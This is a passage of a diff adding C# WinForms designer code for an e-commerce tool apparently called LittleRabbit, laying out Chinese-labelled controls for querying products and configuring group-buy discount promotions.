this.ucGroupBoxEx3.Controls.Add(this.btnStopGetProduct); + this.ucGroupBoxEx3.Controls.Add(this.btnGetProduct); + this.ucGroupBoxEx3.Controls.Add(this.rbOffSale); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(-1, -1); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(276, 150); + this.ucGroupBoxEx3.TabIndex = 423; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "商品查询"; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(160, 56); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(56, 17); + this.label15.TabIndex = 514; + this.label15.Text = "获取页数"; + // + // txtGetPage + // + this.txtGetPage.Location = new System.Drawing.Point(217, 53); + this.txtGetPage.Name = "txtGetPage"; + this.txtGetPage.Size = new System.Drawing.Size(50, 23); + this.txtGetPage.TabIndex = 513; + this.txtGetPage.Text = "99999"; + // + // pbPaste2 + // + this.pbPaste2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pbPaste2.BackColor = System.Drawing.Color.White; + this.pbPaste2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pbPaste2.Image = global::LittleRabbit.Properties.Resources.FullPaste; + this.pbPaste2.Location = new System.Drawing.Point(231, 113); + this.pbPaste2.Name = "pbPaste2"; + this.pbPaste2.Size = new System.Drawing.Size(23, 23); + this.pbPaste2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pbPaste2.TabIndex = 504; + this.pbPaste2.TabStop = false; + this.pbPaste2.Click += new System.EventHandler(this.pbPaste2_Click); + // + // pbPaste1 + // + this.pbPaste1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pbPaste1.BackColor = System.Drawing.Color.White; + this.pbPaste1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pbPaste1.Image = global::LittleRabbit.Properties.Resources.FullPaste; + this.pbPaste1.Location = new System.Drawing.Point(231, 84); + this.pbPaste1.Name = "pbPaste1"; + this.pbPaste1.Size = new System.Drawing.Size(23, 23); + this.pbPaste1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pbPaste1.TabIndex = 503; + this.pbPaste1.TabStop = false; + this.pbPaste1.Click += new System.EventHandler(this.pbPaste1_Click); + // + // txtFilter + // + this.txtFilter.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtFilter.Border.Class = "TextBoxBorder"; + this.txtFilter.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtFilter.Location = new System.Drawing.Point(76, 113); + this.txtFilter.Name = "txtFilter"; + this.txtFilter.PreventEnterBeep = true; + this.txtFilter.Size = new System.Drawing.Size(156, 23); + this.txtFilter.TabIndex = 502; + this.txtFilter.WatermarkText = "请输入商品编号,多个用逗号隔开"; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(8, 116); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(69, 17); + this.label14.TabIndex = 501; + this.label14.Text = "过滤商品ID"; + this.label14.Click += new System.EventHandler(this.label14_Click); + this.label14.DoubleClick += new System.EventHandler(this.label14_DoubleClick); + // + // txtProductName + // + this.txtProductName.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtProductName.Border.Class = "TextBoxBorder"; + this.txtProductName.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtProductName.Location = new System.Drawing.Point(76, 84); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.PreventEnterBeep = true; + this.txtProductName.Size = new System.Drawing.Size(156, 23); + this.txtProductName.TabIndex = 500; + this.txtProductName.WatermarkText = "请输入商品编号,多个用逗号隔开"; + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(8, 87); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(69, 17); + this.lblProductName.TabIndex = 499; + this.lblProductName.Text = "指定商品ID"; + // + // txtPriceMin + // + this.txtPriceMin.Location = new System.Drawing.Point(39, 22); + this.txtPriceMin.Name = "txtPriceMin"; + this.txtPriceMin.Size = new System.Drawing.Size(38, 23); + this.txtPriceMin.TabIndex = 472; + this.txtPriceMin.Text = "0"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(8, 25); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(32, 17); + this.label12.TabIndex = 473; + this.label12.Text = "价格"; + // + // txtPriceMax + // + this.txtPriceMax.Location = new System.Drawing.Point(89, 22); + this.txtPriceMax.Name = "txtPriceMax"; + this.txtPriceMax.Size = new System.Drawing.Size(50, 23); + this.txtPriceMax.TabIndex = 474; + this.txtPriceMax.Text = "99999"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(77, 25); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(13, 17); + this.label1.TabIndex = 475; + this.label1.Text = "-"; + // + // txtSaleMax + // + this.txtSaleMax.Location = new System.Drawing.Point(89, 52); + this.txtSaleMax.Name = "txtSaleMax"; + this.txtSaleMax.Size = new System.Drawing.Size(50, 23); + this.txtSaleMax.TabIndex = 478; + this.txtSaleMax.Text = "99999"; + // + // txtSaleMin + // + this.txtSaleMin.Location = new System.Drawing.Point(39, 52); + this.txtSaleMin.Name = "txtSaleMin"; + this.txtSaleMin.Size = new System.Drawing.Size(38, 23); + this.txtSaleMin.TabIndex = 476; + this.txtSaleMin.Text = "0"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(8, 55); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(32, 17); + this.label2.TabIndex = 477; + this.label2.Text = "销量"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(77, 55); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(13, 17); + this.label3.TabIndex = 479; + this.label3.Text = "-"; + // + // rbOnSale + // + this.rbOnSale.AutoSize = true; + this.rbOnSale.Checked = true; + this.rbOnSale.Location = new System.Drawing.Point(11, 23); + this.rbOnSale.Name = "rbOnSale"; + this.rbOnSale.Size = new System.Drawing.Size(62, 21); + this.rbOnSale.TabIndex = 464; + this.rbOnSale.TabStop = true; + this.rbOnSale.Text = "出售中"; + this.rbOnSale.UseVisualStyleBackColor = true; + // + // btnStopGetProduct + // + this.btnStopGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopGetProduct.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopGetProduct.Location = new System.Drawing.Point(226, 22); + this.btnStopGetProduct.Name = "btnStopGetProduct"; + this.btnStopGetProduct.Size = new System.Drawing.Size(41, 23); + this.btnStopGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopGetProduct.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopGetProduct.Style.GradientAngle = 90; + this.btnStopGetProduct.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopGetProduct.TabIndex = 463; + this.btnStopGetProduct.Text = "停止"; + this.btnStopGetProduct.Click += new System.EventHandler(this.btnStopGetProduct_Click); + // + // btnGetProduct + // + this.btnGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnGetProduct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnGetProduct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetProduct.Location = new System.Drawing.Point(163, 22); + this.btnGetProduct.Name = "btnGetProduct"; + this.btnGetProduct.Size = new System.Drawing.Size(58, 23); + this.btnGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnGetProduct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnGetProduct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnGetProduct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnGetProduct.Style.GradientAngle = 90; + this.btnGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.TabIndex = 456; + this.btnGetProduct.Text = "获取商品"; + this.btnGetProduct.Click += new System.EventHandler(this.btnGetProduct_Click); + // + // rbOffSale + // + this.rbOffSale.AutoSize = true; + this.rbOffSale.Location = new System.Drawing.Point(74, 23); + this.rbOffSale.Name = "rbOffSale"; + this.rbOffSale.Size = new System.Drawing.Size(62, 21); + this.rbOffSale.TabIndex = 465; + this.rbOffSale.Text = "仓库中"; + this.rbOffSale.UseVisualStyleBackColor = true; + this.rbOffSale.Visible = false; + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.cmbSkuOptionType); + this.ucGroupBoxEx2.Controls.Add(this.chkSetSkuOption); + this.ucGroupBoxEx2.Controls.Add(this.label13); + this.ucGroupBoxEx2.Controls.Add(this.panel2); + this.ucGroupBoxEx2.Controls.Add(this.lblPercentSign); + this.ucGroupBoxEx2.Controls.Add(this.dtpEndTime); + this.ucGroupBoxEx2.Controls.Add(this.label10); + this.ucGroupBoxEx2.Controls.Add(this.label9); + this.ucGroupBoxEx2.Controls.Add(this.nudEachActivityProductNum); + this.ucGroupBoxEx2.Controls.Add(this.label8); + this.ucGroupBoxEx2.Controls.Add(this.nudStockValue); + this.ucGroupBoxEx2.Controls.Add(this.cmbDiscountType); + this.ucGroupBoxEx2.Controls.Add(this.cmbStockType); + this.ucGroupBoxEx2.Controls.Add(this.label5); + this.ucGroupBoxEx2.Controls.Add(this.cmbLimitCount); + this.ucGroupBoxEx2.Controls.Add(this.label7); + this.ucGroupBoxEx2.Controls.Add(this.nudDiscountValue); + this.ucGroupBoxEx2.Controls.Add(this.cmbCancelTime); + this.ucGroupBoxEx2.Controls.Add(this.label6); + this.ucGroupBoxEx2.Controls.Add(this.chkAutoGroup); + this.ucGroupBoxEx2.Controls.Add(this.label17); + this.ucGroupBoxEx2.Controls.Add(this.nudGroupCount); + this.ucGroupBoxEx2.Controls.Add(this.label11); + this.ucGroupBoxEx2.Controls.Add(this.dtpStartTime); + this.ucGroupBoxEx2.Controls.Add(this.label4); + this.ucGroupBoxEx2.Controls.Add(this.btnSetActivity); + this.ucGroupBoxEx2.Controls.Add(this.btnStopOperate); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(-2, -1); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(758, 150); + this.ucGroupBoxEx2.TabIndex = 469; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "商品操作"; + // + // cmbSkuOptionType + // + this.cmbSkuOptionType.DisplayMember = "Text"; + this.cmbSkuOptionType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbSkuOptionType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbSkuOptionType.FormattingEnabled = true; + this.cmbSkuOptionType.ItemHeight = 18; + this.cmbSkuOptionType.Items.AddRange(new object[] { + this.第一个, + this.最后一个, + this.最便宜, + this.最贵, + this.不设置最便宜, + this.不设置最贵}); + this.cmbSkuOptionType.Location = new System.Drawing.Point(513, 49); + this.cmbSkuOptionType.Name = "cmbSkuOptionType"; + this.cmbSkuOptionType.Size = new System.Drawing.Size(135, 24); + this.cmbSkuOptionType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbSkuOptionType.TabIndex = 587; + // + // 第一个 + // + this.第一个.Text = "第一个"; + // + // 最后一个 + // + this.最后一个.Text = "最后一个"; + // + // 最便宜 + // + this.最便宜.Text = "最便宜"; + // + // 最贵 + // + this.最贵.Text = "最贵"; + // + // 不设置最便宜 + // + this.不设置最便宜.Text = "不设置最便宜"; + // + // 不设置最贵 + // + this.不设置最贵.Text = "不设置最贵"; + // + // chkSetSkuOption + // + this.chkSetSkuOption.AutoSize = true; + this.chkSetSkuOption.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkSetSkuOption.Location = new System.Drawing.Point(421, 51); + this.chkSetSkuOption.Name = "chkSetSkuOption"; + this.chkSetSkuOption.Size = new System.Drawing.Size(93, 21); + this.chkSetSkuOption.TabIndex = 586; + this.chkSetSkuOption.Text = "设置Sku选项"; + this.chkSetSkuOption.UseVisualStyleBackColor = true; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(418, 22); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(56, 17); + this.label13.TabIndex = 585; + this.label13.Text = "活动名称"; + // + // panel2 + // + this.panel2.Controls.Add(this.btnSetName); + this.panel2.Controls.Add(this.rbCustomNames); + this.panel2.Controls.Add(this.rbRandomNames); + this.panel2.Location = new System.Drawing.Point(477, 17); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(180, 27); + this.panel2.TabIndex = 584; + // + // btnSetName + // + this.btnSetName.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetName.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSetName.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetName.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSetName.Location = new System.Drawing.Point(115, 4); + this.btnSetName.Name = "btnSetName"; + this.btnSetName.Size = new System.Drawing.Size(56, 19); + this.btnSetName.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetName.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetName.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetName.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSetName.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSetName.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSetName.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSetName.Style.GradientAngle = 90; + this.btnSetName.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetName.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetName.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetName.TabIndex = 576; + this.btnSetName.Text = "设置名称"; + this.btnSetName.Click += new System.EventHandler(this.btnSetName_Click); + // + // rbCustomNames + // + this.rbCustomNames.AutoSize = true; + this.rbCustomNames.Location = new System.Drawing.Point(54, 3); + this.rbCustomNames.Name = "rbCustomNames"; + this.rbCustomNames.Size = new System.Drawing.Size(62, 21); + this.rbCustomNames.TabIndex = 572; + this.rbCustomNames.Text = "自定义"; + this.rbCustomNames.UseVisualStyleBackColor = true; + // + // rbRandomNames + // + this.rbRandomNames.AutoSize = true; + this.rbRandomNames.Checked = true; + this.rbRandomNames.Location = new System.Drawing.Point(3, 3); + this.rbRandomNames.Name = "rbRandomNames"; + this.rbRandomNames.Size = new System.Drawing.Size(50, 21); + this.rbRandomNames.TabIndex = 571; + this.rbRandomNames.TabStop = true; + this.rbRandomNames.Text = "随机"; + this.rbRandomNames.UseVisualStyleBackColor = true; + // + // lblPercentSign + // + this.lblPercentSign.AutoSize = true; + this.lblPercentSign.Location = new System.Drawing.Point(217, 115); + this.lblPercentSign.Name = "lblPercentSign"; + this.lblPercentSign.Size = new System.Drawing.Size(19, 17); + this.lblPercentSign.TabIndex = 577; + this.lblPercentSign.Text = "%"; + // + // dtpEndTime + // + this.dtpEndTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dtpEndTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpEndTime.Location = new System.Drawing.Point(248, 19); + this.dtpEndTime.Name = "dtpEndTime"; + this.dtpEndTime.Size = new System.Drawing.Size(155, 23); + this.dtpEndTime.TabIndex = 476; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(234, 22); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(13, 17); + this.label10.TabIndex = 570; + this.label10.Text = "-"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(363, 115); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(44, 17); + this.label9.TabIndex = 569; + this.label9.Text = "个商品"; + // + // nudEachActivityProductNum + // + this.nudEachActivityProductNum.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudEachActivityProductNum.Location = new System.Drawing.Point(304, 112); + this.nudEachActivityProductNum.Maximum = new decimal(new int[] { + 20, + 0, + 0, + 0}); + this.nudEachActivityProductNum.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudEachActivityProductNum.Name = "nudEachActivityProductNum"; + this.nudEachActivityProductNum.Size = new System.Drawing.Size(56, 23); + this.nudEachActivityProductNum.TabIndex = 568; + this.nudEachActivityProductNum.Value = new decimal(new int[] { + 10, + 0, + 0, + 0}); + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(245, 115); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(56, 17); + this.label8.TabIndex = 567; + this.label8.Text = "一个活动"; + // + // nudStockValue + // + this.nudStockValue.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudStockValue.Location = new System.Drawing.Point(167, 112); + this.nudStockValue.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudStockValue.Name = "nudStockValue"; + this.nudStockValue.Size = new System.Drawing.Size(48, 23); + this.nudStockValue.TabIndex = 566; + this.nudStockValue.Value = new decimal(new int[] { + 50, + 0, + 0, + 0}); + // + // cmbDiscountType + // + this.cmbDiscountType.DisplayMember = "Text"; + this.cmbDiscountType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbDiscountType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbDiscountType.FormattingEnabled = true; + this.cmbDiscountType.ItemHeight = 18; + this.cmbDiscountType.Items.AddRange(new object[] { + this.打折, + this.直降, + this.一口价}); + this.cmbDiscountType.Location = new System.Drawing.Point(77, 80); + this.cmbDiscountType.Name = "cmbDiscountType"; + this.cmbDiscountType.Size = new System.Drawing.Size(84, 24); + this.cmbDiscountType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbDiscountType.TabIndex = 565; + this.cmbDiscountType.SelectedIndexChanged += new System.EventHandler(this.cmbDiscountType_SelectedIndexChanged); + this.cmbDiscountType.SelectedValueChanged += new System.EventHandler(this.cmbDiscountType_SelectedValueChanged); + // + // 打折 + // + this.打折.Text = "打折"; + // + // 直降 + // + this.直降.Text = "直降"; + // + // 一口价 + // + this.一口价.Text = "一口价"; + // + // cmbStockType + // + this.cmbStockType.DisplayMember = "Text"; + this.cmbStockType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbStockType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbStockType.FormattingEnabled = true; + this.cmbStockType.ItemHeight = 18; + this.cmbStockType.Items.AddRange(new object[] { + this.全部库存, + this.百分比库存, + this.统一库存}); + this.cmbStockType.Location = new System.Drawing.Point(77, 111); + this.cmbStockType.Name = "cmbStockType"; + this.cmbStockType.Size = new System.Drawing.Size(84, 24); + this.cmbStockType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbStockType.TabIndex = 564; + this.cmbStockType.SelectedIndexChanged += new System.EventHandler(this.cmbStockType_SelectedIndexChanged); + // + // 全部库存 + // + this.全部库存.Text = "全部库存"; + // + // 百分比库存 + // + this.百分比库存.Text = "百分比库存"; + // + // 统一库存 + // + this.统一库存.Text = "统一库存"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(18, 115); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(56, 17); + this.label5.TabIndex = 563; + this.label5.Text = "活动库存"; + // + // cmbLimitCount + // + this.cmbLimitCount.DisplayMember = "Text"; + this.cmbLimitCount.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbLimitCount.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbLimitCount.FormattingEnabled = true; + this.cmbLimitCount.ItemHeight = 18; + this.cmbLimitCount.Items.AddRange(new object[] { + this.不限购}); + this.cmbLimitCount.Location = new System.Drawing.Point(280, 80); + this.cmbLimitCount.Name = "cmbLimitCount"; + this.cmbLimitCount.Size = new System.Drawing.Size(123, 24); + this.cmbLimitCount.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbLimitCount.TabIndex = 556; + // + // 不限购 + // + this.不限购.Text = "不限购"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(245, 84); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(32, 17); + this.label7.TabIndex = 555; + this.label7.Text = "限购"; + // + // nudDiscountValue + // + this.nudDiscountValue.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudDiscountValue.DecimalPlaces = 1; + this.nudDiscountValue.Increment = new decimal(new int[] { + 1, + 0, + 0, + 65536}); + this.nudDiscountValue.Location = new System.Drawing.Point(167, 81); + this.nudDiscountValue.Maximum = new decimal(new int[] { + 99, + 0, + 0, + 65536}); + this.nudDiscountValue.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 65536}); + this.nudDiscountValue.Name = "nudDiscountValue"; + this.nudDiscountValue.Size = new System.Drawing.Size(65, 23); + this.nudDiscountValue.TabIndex = 554; + this.nudDiscountValue.Value = new decimal(new int[] { + 99, + 0, + 0, + 65536}); + // + // cmbCancelTime + // + this.cmbCancelTime.DisplayMember = "Text"; + this.cmbCancelTime.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbCancelTime.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbCancelTime.FormattingEnabled = true; + this.cmbCancelTime.ItemHeight = 18; + this.cmbCancelTime.Items.AddRange(new object[] { + this.comboItem1, + this.comboItem2, + this.comboItem3, + this.comboItem4, + this.comboItem5, + this.comboItem6}); + this.cmbCancelTime.Location = new System.Drawing.Point(327, 49); + this.cmbCancelTime.Name = "cmbCancelTime"; + this.cmbCancelTime.Size = new System.Drawing.Size(76, 24); + this.cmbCancelTime.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbCancelTime.TabIndex = 553; + // + // comboItem1 + // + this.comboItem1.Text = "3分钟"; + // + // comboItem2 + // + this.comboItem2.Text = "5分钟"; + // + // comboItem3 + // + this.comboItem3.Text = "10分钟"; + // + // comboItem4 + // + this.comboItem4.Text = "15分钟"; + // + // comboItem5 + // + this.comboItem5.Text = "20分钟"; + // + // comboItem6 + // + this.comboItem6.Text = "30分钟"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(244, 53); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(80, 17); + this.label6.TabIndex = 552; + this.label6.Text = "订单取消时间"; + // + // chkAutoGroup + // + this.chkAutoGroup.AutoSize = true; + this.chkAutoGroup.Checked = true; + this.chkAutoGroup.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkAutoGroup.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkAutoGroup.Location = new System.Drawing.Point(152, 51); + this.chkAutoGroup.Name = "chkAutoGroup"; + this.chkAutoGroup.Size = new System.Drawing.Size(72, 21); + this.chkAutoGroup.TabIndex = 551; + this.chkAutoGroup.Text = "自动成团"; + this.chkAutoGroup.UseVisualStyleBackColor = true; + this.chkAutoGroup.CheckedChanged += new System.EventHandler(this.chkAutoGroup_CheckedChanged); + // + // label17 + // + this.label17.AutoSize = true; + this.label17.Location = new System.Drawing.Point(18, 84); + this.label17.Name = "label17"; + this.label17.Size = new System.Drawing.Size(56, 17); + this.label17.TabIndex = 542; + this.label17.Text = "优惠方式"; + // + // nudGroupCount + // + this.nudGroupCount.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudGroupCount.Location = new System.Drawing.Point(77, 50); + this.nudGroupCount.Maximum = new decimal(new int[] { + 50, + 0, + 0, + 0}); + this.nudGroupCount.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudGroupCount.Name = "nudGroupCount"; + this.nudGroupCount.Size = new System.Drawing.Size(63, 23); + this.nudGroupCount.TabIndex = 533; + this.nudGroupCount.Value = new decimal(new int[] { + 5, + 0, + 0, + 0}); + this.nudGroupCount.ValueChanged += new System.EventHandler(this.nudGroupCount_ValueChanged); + this.nudGroupCount.KeyDown += new System.Windows.Forms.KeyEventHandler(this.nudGroupCount_KeyDown); + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(18, 53); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(56, 17); + this.label11.TabIndex = 525; + this.label11.Text = "成团数量"; + // + // dtpStartTime + // + this.dtpStartTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dtpStartTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpStartTime.Location = new System.Drawing.Point(77, 19); + this.dtpStartTime.Name = "dtpStartTime"; + this.dtpStartTime.Size = new System.Drawing.Size(155, 23); + this.dtpStartTime.TabIndex = 475; + this.dtpStartTime.ValueChanged += new System.EventHandler(this.dtpStartTime_ValueChanged); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(18, 22); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(56, 17); + 